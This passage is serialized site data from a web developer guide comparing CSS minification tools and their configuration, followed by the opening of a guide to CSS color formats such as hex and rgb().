})\n",[1560,49523,49524],{"class":1562,"line":2524},[1560,49525,49526],{"class":1570},"  ]\n",[1560,49528,49529],{"class":1562,"line":2529},[1560,49530,1585],{"class":1570},[33,49532,49533],{"id":49533},"clean-css",[16,49535,49536],{},"clean-css is a fast, standalone minifier with no PostCSS dependency. It focuses on raw performance and aggressive optimization.",[16,49538,49539],{},[47,49540,30193],{},[41,49542,49543,49546,49549,49552],{},[44,49544,49545],{},"Very fast — one of the quickest standalone minifiers",[44,49547,49548],{},"Aggressive optimizations including advanced selector merging",[44,49550,49551],{},"No PostCSS dependency — works as a standalone CLI or Node.js library",[44,49553,49554],{},"Level 1 and Level 2 optimization controls for fine-tuning aggressiveness",[16,49556,49557],{},[47,49558,30199],{},[41,49560,49561,49564,49567],{},[44,49562,49563],{},"Less active development compared to cssnano and lightning-css",[44,49565,49566],{},"Some aggressive optimizations can break edge cases",[44,49568,49569],{},"Not a PostCSS plugin — harder to integrate into existing PostCSS pipelines",[16,49571,49572],{},[47,49573,49574],{},"Basic usage:",[135,49576,49578],{"className":49450,"code":49577,"language":49452,"meta":141,"style":141},"const CleanCSS = require('clean-css')\nconst output = new CleanCSS({\n  level: 2 \u002F\u002F enables advanced optimizations\n}).minify(input)\nconsole.log(output.styles)\n",[143,49579,49580,49598,49613,49623,49634],{"__ignoreMap":141},[1560,49581,49582,49584,49587,49589,49591,49593,49596],{"class":1562,"line":1563},[1560,49583,8180],{"class":1669},[1560,49585,49586],{"class":1576}," CleanCSS",[1560,49588,8186],{"class":1669},[1560,49590,20658],{"class":1566},[1560,49592,1688],{"class":1570},[1560,49594,49595],{"class":5634},"'clean-css'",[1560,49597,8252],{"class":1570},[1560,49599,49600,49602,49605,49607,49609,49611],{"class":1562,"line":337},[1560,49601,8180],{"class":1669},[1560,49603,49604],{"class":1576}," output",[1560,49606,8186],{"class":1669},[1560,49608,11489],{"class":1669},[1560,49610,49586],{"class":1566},[1560,49612,17525],{"class":1570},[1560,49614,49615,49618,49620],{"class":1562,"line":343},[1560,49616,49617],{"class":1570},"  level: ",[1560,49619,10099],{"class":1576},[1560,49621,49622],{"class":1649}," \u002F\u002F enables advanced optimizations\n",[1560,49624,49625,49628,49631],{"class":1562,"line":365},[1560,49626,49627],{"class":1570},"}).",[1560,49629,49630],{"class":1566},"minify",[1560,49632,49633],{"class":1570},"(input)\n",[1560,49635,49636,49638,49640],{"class":1562,"line":889},[1560,49637,8211],{"class":1570},[1560,49639,8214],{"class":1566},[1560,49641,49642],{"class":1570},"(output.styles)\n",[33,49644,49645],{"id":49645},"lightning-css",[16,49647,49648],{},"lightning-css is the newest entry, built in Rust for maximum speed. It handles minification, bundling, and syntax lowering in a single pass.",[16,49650,49651],{},[47,49652,30193],{},[41,49654,49655,49658,49661,49664,49667],{},[44,49656,49657],{},"Extremely fast — 10–100x faster than JavaScript-based minifiers",[44,49659,49660],{},"All-in-one: minifies, bundles, and lowers modern CSS syntax",[44,49662,49663],{},"Written in Rust via WASM — runs in Node.js without native binaries",[44,49665,49666],{},"Supports CSS nesting, custom media queries, and other modern features",[44,49668,49669],{},"Browser-compatible targets — lowers syntax for older browsers",[16,49671,49672],{},[47,49673,30199],{},[41,49675,49676,49679,49682],{},[44,49677,49678],{},"Newer ecosystem — fewer plugins and less community documentation",[44,49680,49681],{},"Less configurable than cssnano — opinionated optimization set",[44,49683,49684],{},"WASM binary adds ~2 MB to node_modules",[16,49686,49687],{},[47,49688,49574],{},[135,49690,49692],{"className":49450,"code":49691,"language":49452,"meta":141,"style":141},"const { transform } = require('lightningcss')\n\nconst { code } = transform({\n  filename: 'style.css',\n  code: Buffer.from(input),\n  minify: true,\n  targets: {\n    chrome: 95 \u003C\u003C 16\n  }\n})\n",[143,49693,49694,49715,49719,49736,49746,49756,49765,49770,49784,49788],{"__ignoreMap":141},[1560,49695,49696,49698,49700,49702,49705,49707,49709,49711,49713],{"class":1562,"line":1563},[1560,49697,8180],{"class":1669},[1560,49699,1658],{"class":1570},[1560,49701,1514],{"class":1576},[1560,49703,49704],{"class":1570}," } ",[1560,49706,7297],{"class":1669},[1560,49708,20658],{"class":1566},[1560,49710,1688],{"class":1570},[1560,49712,20581],{"class":5634},[1560,49714,8252],{"class":1570},[1560,49716,49717],{"class":1562,"line":337},[1560,49718,1702],{"emptyLinePlaceholder":363},[1560,49720,49721,49723,49725,49727,49729,49731,49734],{"class":1562,"line":343},[1560,49722,8180],{"class":1669},[1560,49724,1658],{"class":1570},[1560,49726,143],{"class":1576},[1560,49728,49704],{"class":1570},[1560,49730,7297],{"class":1669},[1560,49732,49733],{"class":1566}," transform",[1560,49735,17525],{"class":1570},[1560,49737,49738,49741,49744],{"class":1562,"line":365},[1560,49739,49740],{"class":1570},"  filename: ",[1560,49742,49743],{"class":5634},"'style.css'",[1560,49745,11943],{"class":1570},[1560,49747,49748,49751,49753],{"class":1562,"line":889},[1560,49749,49750],{"class":1570},"  code: Buffer.",[1560,49752,8168],{"class":1566},[1560,49754,49755],{"class":1570},"(input),\n",[1560,49757,49758,49761,49763],{"class":1562,"line":1710},[1560,49759,49760],{"class":1570},"  minify: ",[1560,49762,20533],{"class":1576},[1560,49764,11943],{"class":1570},[1560,49766,49767],{"class":1562,"line":1717},[1560,49768,49769],{"class":1570},"  targets: {\n",[1560,49771,49772,49775,49778,49781],{"class":1562,"line":1747},[1560,49773,49774],{"class":1570},"    chrome: ",[1560,49776,49777],{"class":1576},"95",[1560,49779,49780],{"class":1669}," \u003C\u003C",[1560,49782,49783],{"class":1576}," 16\n",[1560,49785,49786],{"class":1562,"line":2507},[1560,49787,4959],{"class":1570},[1560,49789,49790],{"class":1562,"line":2524},[1560,49791,1626],{"class":1570},[11,49793,49795],{"id":49794},"bundler-integrated-minifiers","Bundler-Integrated Minifiers",[33,49797,20926],{"id":20926},[16,49799,49800],{},"esbuild includes built-in CSS minification alongside its JavaScript bundling. No configuration needed.",[16,49802,49803],{},[47,49804,30193],{},[41,49806,49807,49810,49813],{},[44,49808,49809],{},"Blazing fast — built in Go, processes CSS alongside JS bundling",[44,49811,49812],{},"Zero configuration for basic minification",[44,49814,49815],{},"Consistent tool for both JS and CSS in one pipeline",[16,49817,49818],{},[47,49819,30199],{},[41,49821,49822,49825,49828],{},[44,49823,49824],{},"Basic minification only — no selector merging or advanced optimizations",[44,49826,49827],{},"Does not transform modern CSS syntax (nesting, custom media)",[44,49829,49830],{},"Limited control over minification options",[16,49832,49833],{},[47,49834,49835],{},"Usage:",[135,49837,49839],{"className":6951,"code":49838,"language":6953,"meta":141,"style":141},"esbuild style.css --bundle --minify --outfile=style.min.css\n",[143,49840,49841],{"__ignoreMap":141},[1560,49842,49843,49845,49847,49849,49851],{"class":1562,"line":1563},[1560,49844,20926],{"class":1566},[1560,49846,24768],{"class":5634},[1560,49848,20944],{"class":1576},[1560,49850,20947],{"class":1576},[1560,49852,49853],{"class":1576}," --outfile=style.min.css\n",[33,49855,49857],{"id":49856},"parcel","Parcel",[16,49859,49860],{},"Parcel auto-detects CSS files and applies minification in production builds using lightning-css under the hood.",[16,49862,49863],{},[47,49864,30193],{},[41,49866,49867,49870,49873],{},[44,49868,49869],{},"Zero configuration — works out of the box",[44,49871,49872],{},"Uses lightning-css internally for fast, modern optimization",[44,49874,49875],{},"Handles bundling, dependency resolution, and hashing automatically",[16,49877,49878],{},[47,49879,30199],{},[41,49881,49882,49885,49888],{},[44,49883,49884],{},"Less control over minification specifics",[44,49886,49887],{},"Tied to the Parcel ecosystem — not usable standalone",[44,49889,49890],{},"Debugging minification issues requires understanding Parcel's internal pipeline",[16,49892,49893],{},[47,49894,49835],{},[135,49896,49898],{"className":6951,"code":49897,"language":6953,"meta":141,"style":141},"parcel build src\u002Findex.html\n# CSS minification happens automatically in production\n",[143,49899,49900,49910],{"__ignoreMap":141},[1560,49901,49902,49904,49907],{"class":1562,"line":1563},[1560,49903,49856],{"class":1566},[1560,49905,49906],{"class":5634}," build",[1560,49908,49909],{"class":5634}," src\u002Findex.html\n",[1560,49911,49912],{"class":1562,"line":337},[1560,49913,49914],{"class":1649},"# CSS minification happens automatically in production\n",[33,49916,49918],{"id":49917},"webpack-css-minimizer-webpack-plugin","Webpack + css-minimizer-webpack-plugin",[16,49920,49921],{},"Webpack users add css-minimizer-webpack-plugin to minify CSS extracted by mini-css-extract-plugin. It supports multiple minifier backends.",[16,49923,49924],{},[47,49925,30193],{},[41,49927,49928,49931,49934,49937],{},[44,49929,49930],{},"Works within existing Webpack configurations",[44,49932,49933],{},"Supports cssnano, clean-css, and lightning-css as backends",[44,49935,49936],{},"Integrates with source map generation",[44,49938,49939],{},"Parallel processing for large CSS bundles",[16,49941,49942],{},[47,49943,30199],{},[41,49945,49946,49949,49952],{},[44,49947,49948],{},"Requires multiple plugins (extract + minimize) working together",[44,49950,49951],{},"More configuration overhead than zero-config tools",[44,49953,49954],{},"Build speed depends on chosen minifier backend",[16,49956,49957],{},[47,49958,49959],{},"Configuration:",[135,49961,49963],{"className":49450,"code":49962,"language":49452,"meta":141,"style":141},"\u002F\u002F webpack.config.js\nconst CssMinimizerPlugin = require('css-minimizer-webpack-plugin')\n\nmodule.exports = {\n  optimization: {\n    minimizer: [\n      new CssMinimizerPlugin({\n        minimizerOptions: {\n          preset: ['default', { discardComments: { removeAll: true } }]\n        }\n      })\n    ]\n  }\n}\n",[143,49964,49965,49969,49985,49989,50001,50005,50009,50017,50021,50035,50040,50045,50050,50054],{"__ignoreMap":141},[1560,49966,49967],{"class":1562,"line":1563},[1560,49968,11880],{"class":1649},[1560,49970,49971,49973,49975,49977,49979,49981,49983],{"class":1562,"line":337},[1560,49972,8180],{"class":1669},[1560,49974,20672],{"class":1576},[1560,49976,8186],{"class":1669},[1560,49978,20658],{"class":1566},[1560,49980,1688],{"class":1570},[1560,49982,20681],{"class":5634},[1560,49984,8252],{"class":1570},[1560,49986,49987],{"class":1562,"line":343},[1560,49988,1702],{"emptyLinePlaceholder":363},[1560,49990,49991,49993,49995,49997,49999],{"class":1562,"line":365},[1560,49992,11885],{"class":1576},[1560,49994,468],{"class":1570},[1560,49996,11890],{"class":1576},[1560,49998,8186],{"class":1669},[1560,50000,1571],{"class":1570},[1560,50002,50003],{"class":1562,"line":889},[1560,50004,20746],{"class":1570},[1560,50006,50007],{"class":1562,"line":1710},[1560,50008,20751],{"class":1570},[1560,50010,50011,50013,50015],{"class":1562,"line":1717},[1560,50012,20756],{"class":1669},[1560,50014,20672],{"class":1566},[1560,50016,17525],{"class":1570},[1560,50018,50019],{"class":1562,"line":1747},[1560,50020,20765],{"class":1570},[1560,50022,50023,50025,50027,50030,50032],{"class":1562,"line":2507},[1560,50024,20770],{"class":1570},[1560,50026,49492],{"class":5634},[1560,50028,50029],{"class":1570},", { discardComments: { removeAll: ",[1560,50031,20533],{"class":1576},[1560,50033,50034],{"class":1570}," } }]\n",[1560,50036,50037],{"class":1562,"line":2524},[1560,50038,50039],{"class":1570},"        }\n",[1560,50041,50042],{"class":1562,"line":2529},[1560,50043,50044],{"class":1570},"      })\n",[1560,50046,50047],{"class":1562,"line":2534},[1560,50048,50049],{"class":1570},"    ]\n",[1560,50051,50052],{"class":1562,"line":2542},[1560,50053,4959],{"class":1570},[1560,50055,50056],{"class":1562,"line":2558},[1560,50057,1585],{"class":1570},[11,50059,50061],{"id":50060},"feature-comparison","Feature Comparison",[193,50063,50064,50082],{},[196,50065,50066],{},[199,50067,50068,50070,50072,50074,50076,50078,50080],{},[202,50069,5867],{},[202,50071,20497],{},[202,50073,49533],{},[202,50075,49645],{},[202,50077,20926],{},[202,50079,49857],{},[202,50081,20627],{},[211,50083,50084,50104,50125,50145,50164,50183,50202,50221,50240,50259],{},[199,50085,50086,50090,50092,50095,50098,50100,50102],{},[216,50087,50088],{},[47,50089,819],{},[216,50091,7639],{},[216,50093,50094],{},"Fast",[216,50096,50097],{},"Very Fast",[216,50099,50097],{},[216,50101,50097],{},[216,50103,3078],{},[199,50105,50106,50111,50113,50116,50118,50120,50122],{},[216,50107,50108],{},[47,50109,50110],{},"Selector merging",[216,50112,3057],{},[216,50114,50115],{},"Yes (L2)",[216,50117,3057],{},[216,50119,6117],{},[216,50121,3057],{},[216,50123,50124],{},"Via backend",[199,50126,50127,50132,50134,50136,50138,50141,50143],{},[216,50128,50129],{},[47,50130,50131],{},"Value optimization",[216,50133,3057],{},[216,50135,3057],{},[216,50137,3057],{},[216,50139,50140],{},"Basic",[216,50142,3057],{},[216,50144,50124],{},[199,50146,50147,50152,50154,50156,50158,50160,50162],{},[216,50148,50149],{},[47,50150,50151],{},"Modern CSS syntax",[216,50153,10731],{},[216,50155,6117],{},[216,50157,3057],{},[216,50159,6117],{},[216,50161,3057],{},[216,50163,50124],{},[199,50165,50166,50171,50173,50175,50177,50179,50181],{},[216,50167,50168],{},[47,50169,50170],{},"Browser targeting",[216,50172,6117],{},[216,50174,6117],{},[216,50176,3057],{},[216,50178,6117],{},[216,50180,3057],{},[216,50182,50124],{},[199,50184,50185,50190,50192,50194,50196,50198,50200],{},[216,50186,50187],{},[47,50188,50189],{},"CSS bundling",[216,50191,6117],{},[216,50193,6117],{},[216,50195,3057],{},[216,50197,3057],{},[216,50199,3057],{},[216,50201,3057],{},[199,50203,50204,50209,50211,50213,50215,50217,50219],{},[216,50205,50206],{},[47,50207,50208],{},"Source maps",[216,50210,3057],{},[216,50212,3057],{},[216,50214,3057],{},[216,50216,3057],{},[216,50218,3057],{},[216,50220,3057],{},[199,50222,50223,50228,50230,50232,50234,50236,50238],{},[216,50224,50225],{},[47,50226,50227],{},"PostCSS plugin",[216,50229,3057],{},[216,50231,6117],{},[216,50233,6117],{},[216,50235,6117],{},[216,50237,6117],{},[216,50239,50124],{},[199,50241,50242,50247,50249,50251,50253,50255,50257],{},[216,50243,50244],{},[47,50245,50246],{},"Zero config",[216,50248,6117],{},[216,50250,6117],{},[216,50252,6117],{},[216,50254,3057],{},[216,50256,3057],{},[216,50258,6117],{},[199,50260,50261,50266,50269,50271,50273,50275,50277],{},[216,50262,50263],{},[47,50264,50265],{},"Maintenance",[216,50267,50268],{},"Active",[216,50270,15466],{},[216,50272,50268],{},[216,50274,50268],{},[216,50276,50268],{},[216,50278,50268],{},[11,50280,50282],{"id":50281},"which-tool-should-you-choose","Which Tool Should You Choose?",[33,50284,50286],{"id":50285},"for-simple-projects-or-quick-tasks","For simple projects or quick tasks",[16,50288,1388,50289,1531,50291,50293],{},[47,50290,20926],{},[47,50292,49857],{},". Zero configuration, fast builds, and good enough minification for most cases.",[33,50295,50297],{"id":50296},"for-postcss-based-pipelines","For PostCSS-based pipelines",[16,50299,1388,50300,50302],{},[47,50301,20497],{},". It fits naturally into your existing PostCSS setup and offers the most granular control over which optimizations run.",[33,50304,50306],{"id":50305},"for-maximum-performance","For maximum performance",[16,50308,1388,50309,50311],{},[47,50310,49645],{},". If you're processing large CSS bundles or running builds in CI, the speed difference is significant. It also handles modern CSS syntax lowering, which saves you from adding separate PostCSS plugins.",[33,50313,50315],{"id":50314},"for-aggressive-optimization","For aggressive optimization",[16,50317,1388,50318,50320],{},[47,50319,49533],{}," with Level 2 optimizations. It applies the most aggressive selector merging and deduplication, which can yield the smallest output — but test carefully.",[33,50322,50324],{"id":50323},"for-webpack-projects","For Webpack projects",[16,50326,1388,50327,12674,50329,50331],{},[47,50328,20637],{},[47,50330,49645],{}," as the backend. You get Webpack integration with the fastest minification available.",[11,50333,50335],{"id":50334},"integration-examples","Integration Examples",[33,50337,50339],{"id":50338},"vite-lightning-css","Vite + lightning-css",[135,50341,50343],{"className":49450,"code":50342,"language":49452,"meta":141,"style":141},"\u002F\u002F vite.config.js\nimport { lightningcss } from 'vite-plugin-lightningcss'\n\nexport default {\n  plugins: [\n    lightningcss({\n      minify: true,\n      targets: { chrome: 95 }\n    })\n  ]\n}\n",[143,50344,50345,50349,50361,50365,50373,50377,50384,50393,50402,50406,50410],{"__ignoreMap":141},[1560,50346,50347],{"class":1562,"line":1563},[1560,50348,11830],{"class":1649},[1560,50350,50351,50353,50356,50358],{"class":1562,"line":337},[1560,50352,8162],{"class":1669},[1560,50354,50355],{"class":1570}," { lightningcss } ",[1560,50357,8168],{"class":1669},[1560,50359,50360],{"class":5634}," 'vite-plugin-lightningcss'\n",[1560,50362,50363],{"class":1562,"line":343},[1560,50364,1702],{"emptyLinePlaceholder":363},[1560,50366,50367,50369,50371],{"class":1562,"line":365},[1560,50368,9187],{"class":1669},[1560,50370,11837],{"class":1669},[1560,50372,1571],{"class":1570},[1560,50374,50375],{"class":1562,"line":889},[1560,50376,12020],{"class":1570},[1560,50378,50379,50382],{"class":1562,"line":1710},[1560,50380,50381],{"class":1566},"    lightningcss",[1560,50383,17525],{"class":1570},[1560,50385,50386,50389,50391],{"class":1562,"line":1717},[1560,50387,50388],{"class":1570},"      minify: ",[1560,50390,20533],{"class":1576},[1560,50392,11943],{"class":1570},[1560,50394,50395,50398,50400],{"class":1562,"line":1747},[1560,50396,50397],{"class":1570},"      targets: { chrome: ",[1560,50399,49777],{"class":1576},[1560,50401,27879],{"class":1570},[1560,50403,50404],{"class":1562,"line":2507},[1560,50405,49521],{"class":1570},[1560,50407,50408],{"class":1562,"line":2524},[1560,50409,49526],{"class":1570},[1560,50411,50412],{"class":1562,"line":2529},[1560,50413,1585],{"class":1570},[33,50415,50417],{"id":50416},"nextjs-cssnano","Next.js + cssnano",[135,50419,50421],{"className":49450,"code":50420,"language":49452,"meta":141,"style":141},"\u002F\u002F postcss.config.js\nmodule.exports = {\n  plugins: {\n    cssnano: {\n      preset: ['default', { discardComments: { removeAll: true } }]\n    }\n  }\n}\n",[143,50422,50423,50427,50439,50444,50449,50461,50465,50469],{"__ignoreMap":141},[1560,50424,50425],{"class":1562,"line":1563},[1560,50426,12003],{"class":1649},[1560,50428,50429,50431,50433,50435,50437],{"class":1562,"line":337},[1560,50430,11885],{"class":1576},[1560,50432,468],{"class":1570},[1560,50434,11890],{"class":1576},[1560,50436,8186],{"class":1669},[1560,50438,1571],{"class":1570},[1560,50440,50441],{"class":1562,"line":343},[1560,50442,50443],{"class":1570},"  plugins: {\n",[1560,50445,50446],{"class":1562,"line":365},[1560,50447,50448],{"class":1570},"    cssnano: {\n",[1560,50450,50451,50453,50455,50457,50459],{"class":1562,"line":889},[1560,50452,49489],{"class":1570},[1560,50454,49492],{"class":5634},[1560,50456,50029],{"class":1570},[1560,50458,20533],{"class":1576},[1560,50460,50034],{"class":1570},[1560,50462,50463],{"class":1562,"line":1710},[1560,50464,11612],{"class":1570},[1560,50466,50467],{"class":1562,"line":1717},[1560,50468,4959],{"class":1570},[1560,50470,50471],{"class":1562,"line":1747},[1560,50472,1585],{"class":1570},[11,50474,1355],{"id":1354},[41,50476,50477,50480,50483,50486,50489,50492],{},[44,50478,50479],{},"cssnano is the safest, most configurable choice for PostCSS pipelines",[44,50481,50482],{},"lightning-css is the fastest and handles modern CSS features natively",[44,50484,50485],{},"esbuild and Parcel offer zero-config minification at build time",[44,50487,50488],{},"clean-css provides the most aggressive optimizations but needs careful testing",[44,50490,50491],{},"For Webpack, use css-minimizer-webpack-plugin and choose your backend strategically",[44,50493,50494],{},"Always benchmark minified output size and build speed for your specific project",[11,50496,286],{"id":285},[16,50498,50499,50500,50502],{},"Test CSS minification results with our free ",[98,50501,21372],{"href":21371},". Paste your code, compare sizes, and see what optimizations look like in practice.",[11,50504,321],{"id":320},[41,50506,50507,50513,50519],{},[44,50508,50509,50512],{},[98,50510,50511],{"href":21350},"Why Minify CSS: Performance, File Size, and Best Practices"," — the performance case for minification",[44,50514,50515,50518],{},[98,50516,50517],{"href":21356},"CSS Compression Techniques: From Comments to Shorthand"," — how each optimization technique works",[44,50520,50521,50525],{},[98,50522,50524],{"href":50523},"\u002Fguides\u002Fhtml-minification-guide","HTML Minification Guide"," — optimize your markup alongside your styles",[2043,50527,50528],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":141,"searchDepth":337,"depth":337,"links":50530},[50531,50532,50537,50542,50543,50550,50554,50555,50556],{"id":49393,"depth":337,"text":49394},{"id":49403,"depth":337,"text":49404,"children":50533},[50534,50535,50536],{"id":20497,"depth":343,"text":20497},{"id":49533,"depth":343,"text":49533},{"id":49645,"depth":343,"text":49645},{"id":49794,"depth":337,"text":49795,"children":50538},[50539,50540,50541],{"id":20926,"depth":343,"text":20926},{"id":49856,"depth":343,"text":49857},{"id":49917,"depth":343,"text":49918},{"id":50060,"depth":337,"text":50061},{"id":50281,"depth":337,"text":50282,"children":50544},[50545,50546,50547,50548,50549],{"id":50285,"depth":343,"text":50286},{"id":50296,"depth":343,"text":50297},{"id":50305,"depth":343,"text":50306},{"id":50314,"depth":343,"text":50315},{"id":50323,"depth":343,"text":50324},{"id":50334,"depth":337,"text":50335,"children":50551},[50552,50553],{"id":50338,"depth":343,"text":50339},{"id":50416,"depth":343,"text":50417},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Compare cssnano, clean-css, lightning-css, esbuild, Parcel, and Webpack css-minimizer. Find the right CSS minification tool for your project.",{"immutable":363},"\u002Fguides\u002Fcss-bundling-tools",{"title":49388,"description":50557},"guides\u002Fcss-bundling-tools","8I5F04Cyo_U-2OsIPw98xz6HKh7sRvTj_0wj6WCZggk",{"id":50564,"title":30647,"body":50565,"date":2070,"description":51529,"extension":361,"meta":51530,"navigation":363,"path":30456,"readingTime":1717,"seo":51531,"stem":51532,"__hash__":51533},"guides\u002Fguides\u002Fcss-color-values.md",{"type":8,"value":50566,"toc":51512},[50567,50571,50574,50578,50611,50647,50650,50654,50657,50714,50729,50735,50739,50744,50862,50874,50877,50881,50884,50986,51028,51031,51035,51038,51041,51046,51110,51113,51117,51122,51191,51194,51198,51201,51298,51301,51303,51382,51389,51393,51458,51460,51486,51488,51493,51495,51509],[11,50568,50570],{"id":50569},"how-css-expresses-color","How CSS Expresses Color",[16,50572,50573],{},"CSS gives you more ways to write colors than most developers realize. What started as 16 named colors and hex codes has grown into a rich system of functions, spaces, and modern syntax. Understanding the full palette helps you pick the right format for each situation.",[11,50575,50577],{"id":50576},"named-colors","Named Colors",[16,50579,50580,50581,5255,50584,50587,50588,50591,50592,1459,50594,1466,50597,50600,50601,1459,50604,1466,50607,50610],{},"CSS defines 148 named colors from ",[143,50582,50583],{},"aliceblue",[143,50585,50586],{},"zz"," (reaching ",[143,50589,50590],{},"yellowgreen","). Common names like ",[143,50593,12651],{},[143,50595,50596],{},"blue",[143,50598,50599],{},"green"," are easy to remember. Names like ",[143,50602,50603],{},"coral",[143,50605,50606],{},"tomato",[143,50608,50609],{},"steelblue"," give you decent options without looking up hex codes.",[193,50612,50613,50621],{},[196,50614,50615],{},[199,50616,50617,50619],{},[202,50618,7444],{},[202,50620,7447],{},[211,50622,50623,50631,50639],{},[199,50624,50625,50628],{},[216,50626,50627],{},"Readable in source code",[216,50629,50630],{},"Limited to 148 options",[199,50632,50633,50636],{},[216,50634,50635],{},"No typos — invalid names are ignored",[216,50637,50638],{},"No alpha channel support",[199,50640,50641,50644],{},[216,50642,50643],{},"Great for prototypes",[216,50645,50646],{},"Hard to create cohesive palettes",[16,50648,50649],{},"Named colors work well for quick prototypes and semantic tokens. For production UIs, you will usually switch to numeric formats that offer precise control.",[11,50651,50653],{"id":50652},"hex-values","HEX Values",[16,50655,50656],{},"Hexadecimal notation is the most common way to write colors in CSS. A six-digit hex value specifies red, green, and blue channels using base-16 numbers.",[135,50658,50660],{"className":1554,"code":50659,"language":1556,"meta":141,"style":141},".element {\n  color: #4f46e5;     \u002F* 6-digit: R=4F, G=46, B=E5 *\u002F\n  color: #48e;        \u002F* 3-digit shorthand: #4488EE *\u002F\n  color: #4f46e580;   \u002F* 8-digit with alpha (50%) *\u002F\n}\n",[143,50661,50662,50668,50681,50696,50710],{"__ignoreMap":141},[1560,50663,50664,50666],{"class":1562,"line":1563},[1560,50665,30399],{"class":1566},[1560,50667,1571],{"class":1570},[1560,50669,50670,50672,50674,50676,50678],{"class":1562,"line":337},[1560,50671,2510],{"class":1576},[1560,50673,1663],{"class":1570},[1560,50675,47273],{"class":1576},[1560,50677,5785],{"class":1570},[1560,50679,50680],{"class":1649},"\u002F* 6-digit: R=4F, G=46, B=E5 *\u002F\n",[1560,50682,50683,50685,50687,50690,50693],{"class":1562,"line":343},[1560,50684,2510],{"class":1576},[1560,50686,1663],{"class":1570},[1560,50688,50689],{"class":1576},"#48e",[1560,50691,50692],{"class":1570},";        ",[1560,50694,50695],{"class":1649},"\u002F* 3-digit shorthand: #4488EE *\u002F\n",[1560,50697,50698,50700,50702,50705,50707],{"class":1562,"line":365},[1560,50699,2510],{"class":1576},[1560,50701,1663],{"class":1570},[1560,50703,50704],{"class":1576},"#4f46e580",[1560,50706,3491],{"class":1570},[1560,50708,50709],{"class":1649},"\u002F* 8-digit with alpha (50%) *\u002F\n",[1560,50711,50712],{"class":1562,"line":889},[1560,50713,1585],{"class":1570},[16,50715,50716,50717,28833,50720,50723,50724,50726,50727,5415],{},"Three-digit shorthand expands each digit: ",[143,50718,50719],{},"#abc",[143,50721,50722],{},"#aabbcc",". Eight-digit hex adds an alpha channel where ",[143,50725,5254],{}," is fully transparent and ",[143,50728,5258],{},[16,50730,50731,50732,50734],{},"Hex is compact and widely supported. The downside is readability — you cannot tell at a glance that ",[143,50733,47273],{}," is indigo.",[11,50736,50738],{"id":50737},"rgb-and-rgba","RGB and RGBA",[16,50740,421,50741,50743],{},[143,50742,28868],{}," function expresses colors using decimal values from 0 to 255 for each channel.",[135,50745,50747],{"className":1554,"code":50746,"language":1556,"meta":141,"style":141},".element {\n  color: rgb(79, 70, 229);\n  color: rgb(79 70 229);           \u002F* Modern space-separated syntax *\u002F\n  color: rgb(79 70 229 \u002F 50%);    \u002F* With 50% alpha *\u002F\n  color: rgba(79, 70, 229, 0.5);  \u002F* Legacy rgba() syntax *\u002F\n}\n",[143,50748,50749,50755,50778,50801,50829,50858],{"__ignoreMap":141},[1560,50750,50751,50753],{"class":1562,"line":1563},[1560,50752,30399],{"class":1566},[1560,50754,1571],{"class":1570},[1560,50756,50757,50759,50761,50763,50765,50767,50769,50771,50773,50776],{"class":1562,"line":337},[1560,50758,2510],{"class":1576},[1560,50760,1663],{"class":1570},[1560,50762,30141],{"class":1576},[1560,50764,1688],{"class":1570},[1560,50766,36008],{"class":1576},[1560,50768,1459],{"class":1570},[1560,50770,47166],{"class":1576},[1560,50772,1459],{"class":1570},[1560,50774,50775],{"class":1576},"229",[1560,50777,1744],{"class":1570},[1560,50779,50780,50782,50784,50786,50788,50790,50792,50795,50798],{"class":1562,"line":343},[1560,50781,2510],{"class":1576},[1560,50783,1663],{"class":1570},[1560,50785,30141],{"class":1576},[1560,50787,1688],{"class":1570},[1560,50789,36008],{"class":1576},[1560,50791,35515],{"class":1576},[1560,50793,50794],{"class":1576}," 229",[1560,50796,50797],{"class":1570},");           ",[1560,50799,50800],{"class":1649},"\u002F* Modern space-separated syntax *\u002F\n",[1560,50802,50803,50805,50807,50809,50811,50813,50815,50817,50819,50821,50823,50826],{"class":1562,"line":365},[1560,50804,2510],{"class":1576},[1560,50806,1663],{"class":1570},[1560,50808,30141],{"class":1576},[1560,50810,1688],{"class":1570},[1560,50812,36008],{"class":1576},[1560,50814,35515],{"class":1576},[1560,50816,50794],{"class":1576},[1560,50818,14237],{"class":1570},[1560,50820,18059],{"class":1576},[1560,50822,17990],{"class":1669},[1560,50824,50825],{"class":1570},");    ",[1560,50827,50828],{"class":1649},"\u002F* With 50% alpha *\u002F\n",[1560,50830,50831,50833,50835,50837,50839,50841,50843,50845,50847,50849,50851,50853,50855],{"class":1562,"line":889},[1560,50832,2510],{"class":1576},[1560,50834,1663],{"class":1570},[1560,50836,5670],{"class":1576},[1560,50838,1688],{"class":1570},[1560,50840,36008],{"class":1576},[1560,50842,1459],{"class":1570},[1560,50844,47166],{"class":1576},[1560,50846,1459],{"class":1570},[1560,50848,50775],{"class":1576},[1560,50850,1459],{"class":1570},[1560,50852,5687],{"class":1576},[1560,50854,14724],{"class":1570},[1560,50856,50857],{"class":1649},"\u002F* Legacy rgba() syntax 